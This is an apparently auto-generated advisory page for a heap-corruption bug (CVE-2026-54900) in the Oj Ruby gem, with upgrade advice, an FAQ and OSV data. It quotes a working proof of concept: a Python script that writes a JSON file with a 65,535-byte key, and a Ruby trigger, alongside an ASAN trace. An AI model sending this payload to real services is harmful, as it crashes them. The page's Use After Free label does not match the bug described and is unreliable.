CVE-2026-54900: Oj Negative-Size Memcpy Vulnerability

HIGH
Advisory Identifier: GHSA-9cv6-qcjw-4grx
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CWE-416
Published
Advisory Summary

CVE-2026-54900 is a HIGH negative-size memcpy vulnerability (CWE-416: Use After Free) affecting Oj libraries in the RubyGems ecosystem. The issue involves negative-size memcpy in oj::parser create_id attribute handling. Remediation is available by upgrading affected packages to version 3.17.3.

CVE-2026-54900 at a Glance

CVE Identifier CVE-2026-54900
GHSA Identifier GHSA-9cv6-qcjw-4grx
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-416: Use After Free
Affected Product Oj
Package Ecosystem RubyGems
Published Date
Last Updated

How to Fix CVE-2026-54900

To remediate this vulnerability, upgrade all affected Oj dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

oj fixed: 3.17.3 
Upgrade oj to 3.17.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

inspect dependencies for oj

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-54900, inspect your project dependencies for Oj:

inspect dependencies for oj

Analyze the terminal output to locate any version of Oj in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.17.3), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-416: Use After Free, where the product reuses or references memory after it has been freed. at some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer. In Oj, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `Oj::Parser#parse` in usual mode with `create_id` enabled is vulnerable to heap corruption via a negative-size `memcpy`. When a JSON object key is exactly 65,535 bytes long, an integer truncation in `form_attr` (`usual.c:63`) converts the length to `-1` before passing it to `memcpy`. This causes `memcpy` to copy `SIZE_MAX` bytes (interpreted as a huge `size_t`), corrupting heap memory and crashing the process. ### Version - **Software**: oj gem - **Affected**: all versions with `ext/oj/usual.c` - **Latest tested**: 3.17.1 (confirmed present) ### Details `ext/oj/usual.c`, `form_attr`: ```c // usual.c:55–64 static ID form_attr(const char *str, size_t slen) { char buf[4096]; // ... int blen = (int)slen + 1; // ← truncates: 65535 + 1 = 65536 → wraps to 0 // or: 65535 cast to int = 65535 (fits), // but blen = 65536 → INT overflow on +1 if slen=INT_MAX // ... memcpy(buf, "@", 1); memcpy(buf + 1, str, (size_t)blen); // ← size_t(-1) = SIZE_MAX } ``` The cache (`cache_intern`) uses a fixed 65,536-byte slab. When `slen = 65535`, the arithmetic wraps and `memcpy` is called with `(size_t)-1`. ASAN report: ``` ==80452==ERROR: AddressSanitizer: negative-size-param: (size=-1) #0 memcpy #1 form_attr /ext/oj/usual.c:63 #2 cache_intern /ext/oj/cache.c:326 #3 get_attr_id /ext/oj/usual.c:186 #4 close_object_create /ext/oj/usual.c:374 #5 parse /ext/oj/parser.c:693 #6 parser_parse /ext/oj/parser.c:1408 0x531000528800 is located 0 bytes inside of 65536-byte region [0x531000528800, 0x531000538800) ``` ### Reproduce Generate the payload: ```python key = 'A' * 65535 with open('poc.json', 'w') as f: f.write('{"json_class":"Oj::Bag","' + key + '":1}') ``` Trigger: ```ruby require 'oj' Oj::Parser.new(:usual, create_id: 'json_class').parse(STDIN.read) ```

CVE-2026-54900 Affected Oj Versions

1 component(s)
Fixed Versions:
3.17.3
Product / Package Ecosystem Affected Versions Fixed Version
oj
gem/oj
RubyGems
< 3.17.3
3.17.3

References

GitHub Advisory / Wiki ADVISORY
https://github.com/ohler55/oj/security/advisories/GHSA-9cv6-qcjw-4grx
Oj Source Repository REPOSITORY
https://github.com/ohler55/oj

Frequently Asked Questions

What is CVE-2026-54900?
CVE-2026-54900 is a security vulnerability in Oj involving Negative-Size memcpy in Oj::Parser create_id Attribute Handling under CWE-416: Use After Free.
Which Oj versions are affected?
Affected versions include releases prior to 3.17.3 across affected packages: oj.
What version fixes CVE-2026-54900?
Upgrading to 3.17.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is oj affected?
Yes, oj is affected in releases prior to 3.17.3. Upgrade your dependency to 3.17.3 or later.
What CWE is associated with CVE-2026-54900?
CVE-2026-54900 is classified under CWE-416: Use After Free (The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.).
How can I check RubyGems dependencies for CVE-2026-54900?
Run the dependency tree command: 'inspect dependencies for oj'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9cv6-qcjw-4grx",
  "modified" : "2026-06-19T20:47:23Z",
  "published" : "2026-06-19T20:47:23Z",
  "aliases" : [ "CVE-2026-54900" ],
  "summary" : "Oj: Negative-Size memcpy in Oj::Parser create_id Attribute Handling",
  "details" : "### Summary\n\n`Oj::Parser#parse` in usual mode with `create_id` enabled is vulnerable to heap corruption via a negative-size `memcpy`. When a JSON object key is exactly 65,535 bytes long, an integer truncation in `form_attr` (`usual.c:63`) converts the length to `-1` before passing it to `memcpy`. This causes `memcpy` to copy `SIZE_MAX` bytes (interpreted as a huge `size_t`), corrupting heap memory and crashing the process.\n\n### Version\n\n- **Software**: oj gem\n- **Affected**: all versions with `ext/oj/usual.c`\n- **Latest tested**: 3.17.1 (confirmed present)\n\n### Details\n\n`ext/oj/usual.c`, `form_attr`:\n\n```c\n// usual.c:55–64\nstatic ID form_attr(const char *str, size_t slen) {\n    char        buf[4096];\n    // ...\n    int  blen = (int)slen + 1;    // ← truncates: 65535 + 1 = 65536 → wraps to 0\n                                  //   or: 65535 cast to int = 65535 (fits),\n                                  //   but blen = 65536 → INT overflow on +1 if slen=INT_MAX\n    // ...\n    memcpy(buf, \"@\", 1);\n    memcpy(buf + 1, str, (size_t)blen);  // ← size_t(-1) = SIZE_MAX\n}\n```\n\nThe cache (`cache_intern`) uses a fixed 65,536-byte slab. When `slen = 65535`, the arithmetic wraps and `memcpy` is called with `(size_t)-1`.\n\nASAN report:\n```\n==80452==ERROR: AddressSanitizer: negative-size-param: (size=-1)\n    #0 memcpy\n    #1 form_attr          /ext/oj/usual.c:63\n    #2 cache_intern       /ext/oj/cache.c:326\n    #3 get_attr_id        /ext/oj/usual.c:186\n    #4 close_object_create  /ext/oj/usual.c:374\n    #5 parse              /ext/oj/parser.c:693\n    #6 parser_parse       /ext/oj/parser.c:1408\n0x531000528800 is located 0 bytes inside of 65536-byte region [0x531000528800, 0x531000538800)\n```\n\n### Reproduce\n\nGenerate the payload:\n\n```python\nkey = 'A' * 65535\nwith open('poc.json', 'w') as f:\n    f.write('{\"json_class\":\"Oj::Bag\",\"' + key + '\":1}')\n```\n\nTrigger:\n\n```ruby\nrequire 'oj'\nOj::Parser.new(:usual, create_id: 'json_class').parse(STDIN.read)\n```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "RubyGems",
      "name" : "oj"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.17.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "< 3.17.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ohler55/oj/security/advisories/GHSA-9cv6-qcjw-4grx"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ohler55/oj"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-416" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-19T20:47:23Z",
    "nvd_published_at" : null
  }
}